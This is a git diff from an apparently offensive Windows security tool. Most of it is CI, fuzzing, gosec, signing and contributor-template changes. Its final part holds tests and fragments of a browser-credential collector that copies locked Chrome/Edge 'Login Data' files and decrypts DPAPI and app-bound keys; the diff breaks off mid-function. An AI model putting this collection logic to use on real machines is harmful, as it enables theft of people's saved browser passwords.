diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 0000000..ea6e70f --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,79 @@ +name: Bug report +description: A reproducible defect in the audit, the console or a build artifact. +title: "[bug] " +labels: ["bug", "needs-triage"] +body: + - type: markdown + attributes: + value: | + > **Not for vulnerabilities.** If you found a flaw in OBLITERATUS + > itself (auth, token handling, injection, audit correctness), use + > [private vulnerability reporting](https://github.com/DevCop95/pullgoscript/security/advisories/new) + > instead — see [SECURITY.md](https://github.com/DevCop95/pullgoscript/blob/main/SECURITY.md). + - type: checkboxes + id: preflight + attributes: + label: Preflight + options: + - label: I am reporting a bug, not a security vulnerability, and not "my AV flagged this" (that is expected — see docs/SIGNING.md). + required: true + - label: I agree to follow this project's Code of Conduct. + required: true + - type: input + id: version + attributes: + label: Version / commit + description: Output of `obliteratus.exe --version`, or the commit hash if built from source. + placeholder: "2.0.2" + validations: + required: true + - type: textarea + id: what-happened + attributes: + label: What happened + description: The observed behaviour, and what you expected instead. + validations: + required: true + - type: textarea + id: reproduce + attributes: + label: Reproduction steps + description: Exact commands or dashboard actions. Redact tokens and host names. + placeholder: | + 1. obliteratus.exe --audit --json + 2. ... + validations: + required: true + - type: input + id: windows + attributes: + label: Windows build + description: e.g. Windows 11 24H2 (26100.2033), or the Server SKU and build. + validations: + required: true + - type: dropdown + id: admin + attributes: + label: Was the process elevated? + options: + - "Yes (Administrator / SYSTEM)" + - "No (standard user token)" + - "Not sure" + validations: + required: true + - type: textarea + id: flags + attributes: + label: Flags used + description: Which `--enable-*` modules were active, if any. + placeholder: "--enable-collect --enable-inject" + validations: + required: false + - type: textarea + id: logs + attributes: + label: Logs / JSON output + description: Relevant output. **Never paste an API token or a recovered credential.** + render: text + validations: + required: false diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..c07a5dc --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,13 @@ +blank_issues_enabled: false +contact_links: + # A security tool gets drive-by "this looks like malware" issues and, worse, + # vulnerability reports filed publicly. Both have a better home. + - name: Report a vulnerability (private) + url: https://github.com/DevCop95/pullgoscript/security/advisories/new + about: Do not open a public issue for a flaw in OBLITERATUS itself. Use private vulnerability reporting. + - name: '"My AV flagged this" / Defender detections' + url: https://github.com/DevCop95/pullgoscript/blob/main/docs/SIGNING.md + about: Expected for an unsigned offensive tool — read the signing and verification doc before filing. + - name: Audit, flags and module reference + url: https://github.com/DevCop95/pullgoscript#readme + about: How the audit works, what each --enable-* flag unlocks, and the console's threat model. diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml new file mode 100644 index 0000000..d73855e --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -0,0 +1,57 @@ +name: Feature request +description: A new check, module, or improvement to the audit or console. +title: "[feat] " +labels: ["enhancement", "needs-triage"] +body: + - type: checkboxes + id: preflight + attributes: + label: Preflight + options: + - label: I have read CONTRIBUTING.md, including the check design rules (locale/privilege independence, no side effects, no false passes). + required: true + - label: I agree to follow this project's Code of Conduct. + required: true + - type: textarea + id: problem + attributes: + label: The exposure this measures + description: | + What Windows misconfiguration or gap should this surface, and from whose + point of view? A check is only useful if it can answer "so what". + validations: + required: true + - type: textarea + id: proposal + attributes: + label: Proposed approach + description: API or registry key to read, expected severity, and the concrete remediation the Finding would recommend. + validations: + required: true + - type: input + id: technique + attributes: + label: MITRE ATT&CK technique (if any) + placeholder: T1552.001 + validations: + required: false + - type: textarea + id: falsifiability + attributes: + label: How could this check be wrong? + description: | + What would make it report a false PASS, and how do we detect that + instead of guessing? Checks that cannot observe must return Unknown. + validations: + required: true + - type: dropdown + id: offensive + attributes: + label: Does it need a state-changing or offensive capability? + description: Anything that mutates the host or touches credentials must sit behind a --enable-* flag. + options: + - "No — read-only, fits the audit" + - "Yes — new or existing --enable-* module" + - "Not sure" + validations: + required: true diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000..92b856e --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,35 @@ + + +## What changed + + + +Closes # + +## Why + + + +## How it was verified + + + +## Checklist + +- [ ] `gofmt -l .` is empty and `go vet ./...` is clean. +- [ ] `go test ./...` passes locally. +- [ ] New behaviour has a test; a fix has a test that fails without it. +- [ ] No security control was weakened (token checks, Host/Origin guards, + `s.guard(...)`, fail-closed `403`s, `StatusUnknown` over false `PASS`). +- [ ] Any `//#nosec` carries a specific reason on the same line, and any rule + added to the `-exclude` list in `.github/workflows/ci.yml` has its + rationale written next to it. +- [ ] `SECURITY.md` / `docs/SIGNING.md` / `README.md` updated if a capability, + flag or artifact changed. +- [ ] No secret, token, certificate or private key is included — including in + test fixtures and example output. diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f4b377d..a533e5f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -36,12 +36,13 @@ jobs: go test ./... -coverprofile=cover.out -count=1 total=$(go tool cover -func=cover.out | awk '/^total:/ {gsub(/%/,"",$3); print $3}') echo "total statement coverage: ${total}%" - # Ratchet, not a target. Windows-only packages (collectors, regf, - # lsass, winutil) cannot be exercised on the Linux runner, so the - # whole-tree number stays modest; this floor exists to stop it going - # *down*. Raise it whenever coverage improves — never lower it to - # make a red build green. - min=35 + # Ratchet, not a target. The remainder is code that needs something + # this runner does not have: a SYSTEM/browser-user token (the DPAPI + # and app-bound-key collection backends), a live LSASS, a real Chrome + # or Edge profile, a spawning schtasks.exe / powershell.exe, or a + # domain to talk to. This floor exists to stop coverage going *down* + # — raise it whenever it improves, never lower it to green a build. + min=42 if awk "BEGIN {exit !(${total} < ${min})}"; then echo "::error::coverage ${total}% is below the ${min}% floor" exit 1 @@ -87,6 +88,100 @@ jobs: - name: unit tests (platform-neutral packages) run: go test ./internal/token ./internal/audit ./internal/ui ./internal/server + # Fuzzing on every push/PR. The packages exercised here eat untrusted input — + # registry hives, KDC replies, payload envelopes — inside a process that holds + # an elevated token, so a panic is a real availability bug, not a test + # artefact. Runs are short and bounded: this is a smoke gate, not a soak. Any + # crasher is written to testdata/fuzz/ and fails the job. + # + # One target per invocation: `go test -fuzz` matches a single target. + fuzz-smoke: + name: fuzz smoke (parsers) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-go@v7 + with: + go-version-file: go.mod + - name: fuzz regf hive parser + run: go test -run='^$' -fuzz=FuzzRegf -fuzztime=30s ./internal/audit + - name: fuzz krb response parser + run: go test -run='^$' -fuzz=FuzzParseRep -fuzztime=30s ./internal/krb + - name: fuzz payload envelope + run: go test -run='^$' -fuzz=FuzzUnpack -fuzztime=30s ./internal/research + - name: fuzz obfuscator round-trip + run: go test -run='^$' -fuzz=FuzzMaskRoundTrip -fuzztime=30s ./internal/obfuscate + - name: fuzz persist name sanitizer + run: go test -run='^$' -fuzz=FuzzSanitizeName -fuzztime=30s ./internal/persist + + # Static analysis (gosec) of exactly the code that ships. GOOS is pinned to + # windows even though the runner is Linux, because the entire + # security-sensitive surface lives in the windows-only packages; on linux the + # scan would silently see a third of the tree. + # + # The scan runs at full strength bar two rules excluded on the command line, + # each because every instance is deliberate and re-reviewing adds no signal: + # * G103 (use of unsafe) — the tool *is* an unsafe.Pointer/syscall + # bridge; 37 sites, all hand-reviewed. + # * G104 (unhandled error) — 14 sites, every one a cleanup path (deferred + # Close on a handle we are finished with). + # Every other finding was either fixed (file modes 0755/0644 -> 0700/0600) or + # suppressed inline as `//#nosec -- `, so the reason travels + # with the code: 47 suppressions, mostly protocol-mandated weak crypto + # (DES/RC4/MD4 per MS-SAMR, MS-NLMP, RFC 4757) and width narrowing in the + # binary parsers. `gosec ./...` without -exclude lists them all. + # + # Known blind spot: go/types cannot type-check a bodyless function, so gosec + # fails to build SSA for internal/research (EnergyFlow is implemented in + # energyflow_amd64.s) and the taint rules skip that one package. The job + # asserts that this is the *only* tolerated error — a new type error would + # likewise disable analysis silently, so it fails the build too. + sast: + name: gosec (static analysis) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-go@v7 + with: + go-version-file: go.mod + # Installed with the *runner's* GOOS. Setting GOOS=windows here would make + # this step cross-compile gosec to a PE binary (gosec.exe) that the Linux + # runner cannot execute; it is scoped to the scan step below instead. + - name: install gosec + run: go install github.com/securego/gosec/v2/cmd/gosec@latest + - name: gosec + env: + GOOS: windows + GOARCH: amd64 + run: | + # setup-go does not put $(go env GOPATH)/bin on PATH, so resolve the + # binary explicitly rather than relying on `gosec` being found. + GOSEC="$(go env GOPATH)/bin/gosec" + # -no-fail: gosec exits non-zero on the tolerated assembly type error + # even with no findings; the gates below decide pass/fail instead. + "$GOSEC" -no-fail -fmt=json -exclude=G103,G104 ./... > gosec.json + # A scan that parsed nothing must not read as a clean scan. + files=$(jq '.Stats.files' gosec.json) + if [ "${files:-0}" -eq 0 ]; then + echo "::error::gosec analysed 0 files — the scan is vacuous, not clean" + exit 1 + fi + jq -r '"gosec stats: files=\(.Stats.files) lines=\(.Stats.lines) nosec=\(.Stats.nosec) found=\(.Stats.found)"' gosec.json + issues=$(jq '.Issues | length' gosec.json) + if [ "$issues" -ne 0 ]; then + jq -r '.Issues[] | "::error file=\(.file),line=\(.line)::\(.rule_id) \(.details)"' gosec.json + echo "::error::gosec reported ${issues} finding(s)" + exit 1 + fi + if jq -r '."Golang errors"[]?[]?.error' gosec.json \ + | grep -v '^# command-line-arguments$' \ + | grep -qv 'missing function body'; then + echo "::error::unexpected gosec type error — a package was not fully analysed" + jq -r '."Golang errors"[]?[]?.error' gosec.json + exit 1 + fi + echo "gosec: no findings" + # Reachability-aware vulnerability scanning: govulncheck reports only the # advisories your code can actually reach, so its verdict is actionable # rather than a noisy list of every CVE in the module graph. It exits diff --git a/.gitignore b/.gitignore index 5c0fcb5..b7b7aa0 100644 --- a/.gitignore +++ b/.gitignore @@ -37,6 +37,9 @@ obj/ # Go test coverage profile (produced by the CI coverage gate) cover.out +# gosec JSON report from a local `gosec -fmt=json -out=gosec.json ./...` +gosec.json + # goreleaser output (local --snapshot builds; the CI release uploads these # to the GitHub Release instead of the tree) dist/ diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..b0a92e5 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,134 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, caste, color, religion, or sexual +identity and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the overall + community + +Examples of unacceptable behavior include: + +* The use of sexualized language or imagery, and sexual attention or advances of + any kind +* Trolling, insulting or derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or email address, + without their explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported privately to the maintainer, **@DevCop95**, through GitHub — a direct +message, or GitHub's +[abuse reporting](https://docs.github.com/en/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) +if you would rather not contact them directly. Do **not** open a public issue. +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series of +actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or permanent +ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within the +community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.1, available at +[https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1]. + +Community Impact Guidelines were inspired by +[Mozilla's code of conduct enforcement ladder][Mozilla CoC]. + +For answers to common questions about this code of conduct, see the FAQ at +[https://www.contributor-covenant.org/faq][FAQ]. Translations are available at +[https://www.contributor-covenant.org/translations][translations]. + +[homepage]: https://www.contributor-covenant.org +[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html +[Mozilla CoC]: https://github.com/mozilla/diversity +[FAQ]: https://www.contributor-covenant.org/faq +[translations]: https://www.contributor-covenant.org/translations diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index f4df0ea..3b25853 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -15,8 +15,39 @@ make test # gofmt check + go vet + go test ./... make build # windows/amd64 → bin/obliteratus.exe ``` -CI runs the same gates on every PR (`gofmt`, `go vet`, `go test`, cross -compile), so a green local `make test` means a green PR. +CI runs the same gates on every PR — `gofmt`, `vet + test (windows)` (with a +coverage floor), `cross-compile (linux → windows)`, `govulncheck`, `gosec +(static analysis)` and `fuzz smoke (parsers)` — so a green local run means a +green PR. + +## Testing and tooling + +Every gate below runs in CI; run them locally before pushing. `make sast`, +`make fuzz-check` and `make cover` wrap the three you cannot get from +`go test ./...` alone — if you do not have `make` installed (it is not needed to +build the project), run the underlying commands straight out of the `Makefile`. + +- **Tests** — `go test ./...`. The coverage gate is a ratchet: if your change + raises coverage, raise `min` in `.github/workflows/ci.yml` in the same commit. + Never lower it to make a build green. `make cover` prints the total. +- **Fuzzing** — the parsers that eat attacker-influenced input have fuzz targets + (`FuzzRegf`, `FuzzParseRep`, `FuzzUnpack`, `FuzzMaskRoundTrip`, + `FuzzSanitizeName`). Seeds run as ordinary tests; to actually fuzz one: + + ```bash + go test -run='^$' -fuzz=FuzzRegf -fuzztime=60s ./internal/audit + ``` + + A crasher is written to `testdata/fuzz//` — commit it as a + regression seed and fix the bug. +- **Static analysis** — `gosec -exclude=G103,G104 ./...` must report zero + findings. If a finding is a false positive, do not add a rule to the exclude + list: annotate the line instead, with the reason, as + `//#nosec G304 -- `. The exclude + list is for rules whose *every* instance is deliberate, and each entry there + is justified in a comment. +- **Vulnerabilities** — `govulncheck ./...` must be clean. It is + reachability-aware, so a finding means your code calls the vulnerable symbol. ## Adding an audit check @@ -60,4 +91,5 @@ Conventional Commits: `feat:`, `fix:`, `docs:`, `test:`, `refactor:`, ## Reporting bugs Use GitHub issues for reproducible defects. Security-sensitive reports go -through [SECURITY.md](SECURITY.md), not the public tracker. +through [SECURITY.md](SECURITY.md), not the public tracker. Participation in +this project is covered by the [Code of Conduct](CODE_OF_CONDUCT.md). diff --git a/Makefile b/Makefile index e2ae0be..6ab890f 100644 --- a/Makefile +++ b/Makefile @@ -5,7 +5,7 @@ BINARY := obliteratus CMD := ./cmd/obliteratus LDFLAGS := -ldflags="-s -w" -.PHONY: all build build-windowed cross audit test vet fmt clean +.PHONY: all build build-windowed cross audit test vet fmt clean sast fuzz-check cover all: test build @@ -32,6 +32,26 @@ test: vet: go vet ./... +# Static analysis, mirroring the `sast` job in CI: same exclusions, same +# rationale (see .github/workflows/ci.yml). Requires: go install +# github.com/securego/gosec/v2/cmd/gosec@latest +sast: + gosec -exclude=G103,G104 ./... + +# Short fuzz smoke over the parser targets. CI runs 30s each; this is the +# "did I break a parser" check. A crasher lands in testdata/fuzz//. +fuzz-check: + go test -run='^$$' -fuzz=FuzzRegf -fuzztime=20s ./internal/audit + go test -run='^$$' -fuzz=FuzzParseRep -fuzztime=20s ./internal/krb + go test -run='^$$' -fuzz=FuzzUnpack -fuzztime=20s ./internal/research + go test -run='^$$' -fuzz=FuzzMaskRoundTrip -fuzztime=20s ./internal/obfuscate + go test -run='^$$' -fuzz=FuzzSanitizeName -fuzztime=20s ./internal/persist + +# Whole-tree statement coverage; CI fails below its ratcheting floor. +cover: + go test ./... -coverprofile=cover.out -count=1 + go tool cover -func=cover.out | tail -1 + fmt: gofmt -w . diff --git a/README.md b/README.md index 7b9affc..83ab0f6 100644 --- a/README.md +++ b/README.md @@ -65,7 +65,7 @@ Prebuilt binaries are attached to each [tagged release][releases] (checksums + SPDX SBOM, keyless-signed with cosign). How to verify them — and why the `.exe` is **not** Authenticode-signed — is in **[docs/SIGNING.md](docs/SIGNING.md)**. -[releases]: https://github.com/DevCop95/obliteratus/releases +[releases]: https://github.com/DevCop95/pullgoscript/releases ### Full flag reference diff --git a/cmd/oblpack/main.go b/cmd/oblpack/main.go index ff60557..6db0343 100644 --- a/cmd/oblpack/main.go +++ b/cmd/oblpack/main.go @@ -42,7 +42,7 @@ func main() { if outPath == "" { outPath = *in + ".packed" } - if err := os.WriteFile(outPath, packed, 0o600); err != nil { + if err := os.WriteFile(outPath, packed, 0o600); err != nil { //#nosec G703 -- outPath is the operator's own -o argument on their own machine; this tool has no privilege boundary fatalf("write %s: %v", outPath, err) } fmt.Printf("packed %s (%d B) -> %s (%d B)\n", *in, len(plain), outPath, len(packed)) diff --git a/docs/SIGNING.md b/docs/SIGNING.md index 3db5767..69929a2 100644 --- a/docs/SIGNING.md +++ b/docs/SIGNING.md @@ -34,7 +34,7 @@ sha256sum -c checksums.txt # or: Get-FileHash -Algorithm SHA256 .\*.zip cosign verify-blob \ --certificate checksums.txt.pem \ --signature checksums.txt.sig \ - --certificate-identity-regexp "^https://github.com/DevCop95/obliteratus/" \ + --certificate-identity-regexp "^https://github.com/DevCop95/pullgoscript/" \ --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \ checksums.txt # → "Verified OK" @@ -44,9 +44,27 @@ rekor-cli get --artifact checksums.txt ``` `--certificate-identity-regexp` is the crux: a bare `Verified OK` only says -*someone* signed it. Pinning the identity to `DevCop95/obliteratus` is what +*someone* signed it. Pinning the identity to `DevCop95/pullgoscript` is what stops a signature from any other repository being accepted. +The certificate subject is fully qualified, e.g. for v2.0.2: + +``` +https://github.com/DevCop95/pullgoscript/.github/workflows/release.yml@refs/tags/v2.0.2 +``` + +Use `--certificate-identity` (singular, exact match) instead of the regexp if +you want to pin one specific tag and workflow rather than the repository. Note +that the subject embeds the **repository name at the time of the release**, so a +later rename invalidates an exact pin — which is why `release.yml` builds its +self-check from `${GITHUB_REPOSITORY}` and this document uses the repo-prefix +regexp. + +> cosign v3 prints `Flag --certificate has been deprecated...` for the two flags +> above. That is expected for these assets: the release ships the detached +> `.sig` + `.pem` pair, and the warning is about the newer single-file +> `--bundle` form. The verification result is unaffected. + Reviewing the SBOM: ```bash @@ -92,31 +110,58 @@ moment the certificate expires. ### Wiring a cert into the release workflow later -When an EV cert or Azure Trusted Signing is available, add a `signs` entry to -`.goreleaser.yml` that runs **after** the build and **before** archiving, so -the signed bytes are what lands in the zip and its checksum. Sketch -(non-functional until the cert exists): +This is the **only** outstanding gap in the supply chain, and it is blocked on a +credential this repository cannot hold: an EV code-signing certificate or an +Azure Trusted Signing account — a paid, identity-verified asset. Nothing in the +tree can be changed to close it until such a cert exists. + +When it does, add a `signs` entry to `.goreleaser.yml` that runs **after** the +build and **before** archiving, so the signed bytes are what lands in the zip +and its checksum. Sketch (non-functional until the cert exists): ```yaml signs: - id: authenticode cmd: signtool artifacts: binary # sign the .exe, not the archive - signature: "${artifact}" + signature: "${artifact}" # sign in place: the archive must carry the signed bytes args: - sign - - /fd # /fd SHA256 - - /tr http://timestamp.digicert.com /td SHA256 - - /n "Your Company Name" + - /fd + - SHA256 # file digest + - /tr + - http://timestamp.digicert.com + - /td + - SHA256 # timestamp digest — omitting this kills the sig at expiry + - /n + - "Your Company Name" - "${artifact}" ``` -The cert/credential must be injected as a GitHub secret (base64 PFX imported -into the runner's store, or an Azure Trusted Signing OIDC login) — it must -never be committed. Note that signing the binaries changes their hashes, so the +`signtool` is not on `PATH` on a plain runner — it ships with the Windows SDK, +so a `windows-latest` job needs the SDK step (or `azure/trusted-signing-action`) +before goreleaser runs. The certificate/credential must be injected as a GitHub +secret (a base64 PFX imported into the runner's store, or an Azure federated +login) — it must never be committed. Signing changes the bytes, so the Authenticode step has to precede both the archive and `checksums.txt`; that is why it lives in the `signs` pipe rather than as a post-release `signtool` job. +**Azure Trusted Signing** is the lower-friction route in 2026: Microsoft runs +the CA, the signing key never leaves their HSM, and identity validation is done +once by Microsoft. Use `az login` with a federated credential from Actions, then +point goreleaser's `signs.command` at `trusted-signing-cli` (`sign` mode) +instead of `signtool`. Either way the release must be re-tagged: existing tags +are immutable and their signatures are already published, so the first signed +release is a new version. + +### Status tracking + +| Step | State | +|---|---| +| cosign keyless signature over `checksums.txt` | ✅ live (v2.0.2 verified) | +| SBOM per archive | ✅ live | +| Authenticode on the `.exe` files | ⛔ **blocked on acquiring a certificate** | + ## Threat-model note The cosign guarantee is about **provenance** (which repo/workflow built this), diff --git a/internal/audit/collector_helpers_windows_test.go b/internal/audit/collector_helpers_windows_test.go new file mode 100644 index 0000000..15ca5fe --- /dev/null +++ b/internal/audit/collector_helpers_windows_test.go @@ -0,0 +1,138 @@ +//go:build windows + +package audit + +// Unit tests for the browser-collection helpers that need no live browser: +// the path builders, the log truncator, the XOR/AEAD primitives and the copy +// helper. The end-to-end collection path needs a real profile and a SYSTEM +// token, but these are the pieces where a bug is silent and cheap to prevent. + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestBrowserRootPaths(t *testing.T) { + root := `C:\Users\test\AppData\Local` + t.Setenv("LOCALAPPDATA", root) + cases := map[string]string{ + "Chrome": filepath.Join(root, "Google", "Chrome", "User Data"), + "Brave": filepath.Join(root, "BraveSoftware", "Brave-Browser", "User Data"), + "Edge": filepath.Join(root, "Microsoft", "Edge", "User Data"), + // An unknown name must fall back to Chrome rather than produce an + // empty path that would make the collector walk the whole drive. + "Unknown": filepath.Join(root, "Google", "Chrome", "User Data"), + } + for browser, want := range cases { + if got := browserRoot(browser); got != want { + t.Errorf("browserRoot(%q) = %q, want %q", browser, got, want) + } + } + if got, want := localStatePath("Edge"), filepath.Join(cases["Edge"], "Local State"); got != want { + t.Errorf("localStatePath(Edge) = %q, want %q", got, want) + } +} + +func TestTruncateForLog(t *testing.T) { + if got := truncateForLog([]byte(" hello\n")); got != "hello" { + t.Errorf("truncateForLog(short) = %q, want hello", got) + } + long := strings.Repeat("A", 500) + got := truncateForLog([]byte(long)) + if len(got) != 120 { + t.Errorf("truncateForLog(500 chars) = %d chars, want 120", len(got)) + } + if truncateForLog(nil) != "" { + t.Error("truncateForLog(nil) should be empty") + } +} + +func TestXorBytesRoundTrip(t *testing.T) { + key := []byte{0x0f, 0x1e, 0x2d} + a := []byte("the quick brown fox") + if got := xorBytes(xorBytes(a, key), key); !bytes.Equal(got, a) { + t.Errorf("xorBytes is not self-inverse: %q -> %q", a, got) + } + // A single-byte key repeats; a longer key wraps. + if got := xorBytes([]byte{0x00, 0x00, 0x00}, []byte{0xff}); !bytes.Equal(got, []byte{0xff, 0xff, 0xff}) { + t.Errorf("xorBytes with a 1-byte key = %x", got) + } + // An empty key must fail closed, not divide by zero. + if got := xorBytes(a, nil); got != nil { + t.Errorf("xorBytes with an empty key = %x, want nil", got) + } +} + +func TestAESGCMOpen(t *testing.T) { + key := bytes.Repeat([]byte{0x11}, 32) + iv := bytes.Repeat([]byte{0x22}, 12) + block, err := aes.NewCipher(key) + if err != nil { + t.Fatalf("aes.NewCipher: %v", err) + } + gcm, err := cipher.NewGCMWithNonceSize(block, 12) + if err != nil { + t.Fatalf("cipher.NewGCMWithNonceSize: %v", err) + } + plain := []byte("app-bound encryption master key blob") + sealed := gcm.Seal(nil, iv, plain, nil) + + got, err := aesGCMOpen(key, iv, sealed) + if err != nil { + t.Fatalf("aesGCMOpen: %v", err) + } + if !bytes.Equal(got, plain) { + t.Errorf("aesGCMOpen round-trip = %q, want %q", got, plain) + } + + bad := []struct { + name string + key, iv, ct []byte + }{ + {"short key", key[:16], iv, sealed}, + {"short iv", key, iv[:8], sealed}, + {"short ct", key, iv, sealed[:15]}, + {"wrong key", bytes.Repeat([]byte{0x33}, 32), iv, sealed}, + {"tampered ct", key, iv, flip(sealed)}, + } + for _, c := range bad { + if _, err := aesGCMOpen(c.key, c.iv, c.ct); err == nil { + t.Errorf("%s: aesGCMOpen accepted a bad input", c.name) + } + } +} + +// flip returns b with its last byte toggled (breaks the GCM tag). +func flip(b []byte) []byte { + out := append([]byte{}, b...) + out[len(out)-1] ^= 0xff + return out +} + +func TestForceCopy(t *testing.T) { + dir := t.TempDir() + src := filepath.Join(dir, "src.db") + dst := filepath.Join(dir, "copy.db") + want := []byte("sqlite header and rows") + if err := os.WriteFile(src, want, 0o600); err != nil { + t.Fatalf("seed: %v", err) + } + if err := forceCopy(src, dst); err != nil { + t.Fatalf("forceCopy: %v", err) + } + got, err := os.ReadFile(dst) + if err != nil { + t.Fatalf("read copy: %v", err) + } + if !bytes.Equal(got, want) { + t.Errorf("copy = %q, want %q", got, want) + } + if err := forceCopy(filepath.Join(dir, "missing.db"), dst); err == nil { + t.Error("forceCopy with a missing source: want error, got nil") + } +} diff --git a/internal/audit/collector_windows.go b/internal/audit/collector_windows.go index 55fd556..4709f91 100644 --- a/internal/audit/collector_windows.go +++ b/internal/audit/collector_windows.go @@ -54,12 +54,12 @@ func localStatePath(browser string) string { // forceCopy streams src to dst, working around files that other processes // hold open with no read sharing (browsers do this to Login Data). func forceCopy(src, dst string) error { - s, err := os.Open(src) + s, err := os.Open(src) //#nosec G304 G703 -- src/dst are private temp snapshot paths built by the caller, not operator or network input if err != nil { return err } defer s.Close() - d, err := os.Create(dst) + d, err := os.Create(dst) //#nosec G304 -- private temp snapshot destination built by the caller if err != nil { return err } @@ -111,7 +111,7 @@ func unwrapDPAPIBytes(data []byte) ([]byte, error) { if len(data) == 0 { return nil, errors.New("empty blob") } - in := windows.DataBlob{Size: uint32(len(data)), Data: &data[0]} + in := windows.DataBlob{Size: uint32(len(data)), Data: &data[0]} //#nosec G115 -- DPAPI blobs are in-memory and far below the 4 GiB ULONG limit var out windows.DataBlob if err := windows.CryptUnprotectData(&in, nil, nil, 0, nil, 0, &out); err != nil { return nil, err @@ -193,14 +193,14 @@ func cngDecrypt(keyName string, in []byte) ([]byte, error) { var hProv uintptr prov, _ := syscall.UTF16PtrFromString("Microsoft Software Key Storage Provider") if r, _, _ := pNCryptOpenProv.Call(uintptr(unsafe.Pointer(&hProv)), uintptr(unsafe.Pointer(prov)), 0); r != 0 { - return nil, fmt.Errorf("NCryptOpenStorageProvider: 0x%x", uint32(r)) + return nil, fmt.Errorf("NCryptOpenStorageProvider: 0x%x", uint32(r)) //#nosec G115 -- NTSTATUS is a 32-bit code carried in a uintptr return } defer pNCryptFree.Call(hProv) kn, _ := syscall.UTF16PtrFromString(keyName) var hKey uintptr if r, _, _ := pNCryptOpenKey.Call(hProv, uintptr(unsafe.Pointer(&hKey)), uintptr(unsafe.Pointer(kn)), 0, 0); r != 0 { - return nil, fmt.Errorf("NCryptOpenKey(%s): 0x%x", keyName, uint32(r)) + return nil, fmt.Errorf("NCryptOpenKey(%s): 0x%x", keyName, uint32(r)) //#nosec G115 -- NTSTATUS is a 32-bit code carried in a uintptr return } defer pNCryptFree.Call(hKey) @@ -209,17 +209,23 @@ func cngDecrypt(keyName string, in []byte) ([]byte, error) { var need uint32 if r, _, _ := pNCryptDecrypt.Call(hKey, uintptr(unsafe.Pointer(&in[0])), uintptr(len(in)), 0, 0, 0, uintptr(unsafe.Pointer(&need)), 0x40); r != 0 || need == 0 { - return nil, fmt.Errorf("NCryptDecrypt(size): 0x%x", uint32(r)) + return nil, fmt.Errorf("NCryptDecrypt(size): 0x%x", uint32(r)) //#nosec G115 -- NTSTATUS is a 32-bit code carried in a uintptr return } out := make([]byte, need) if r, _, _ := pNCryptDecrypt.Call(hKey, 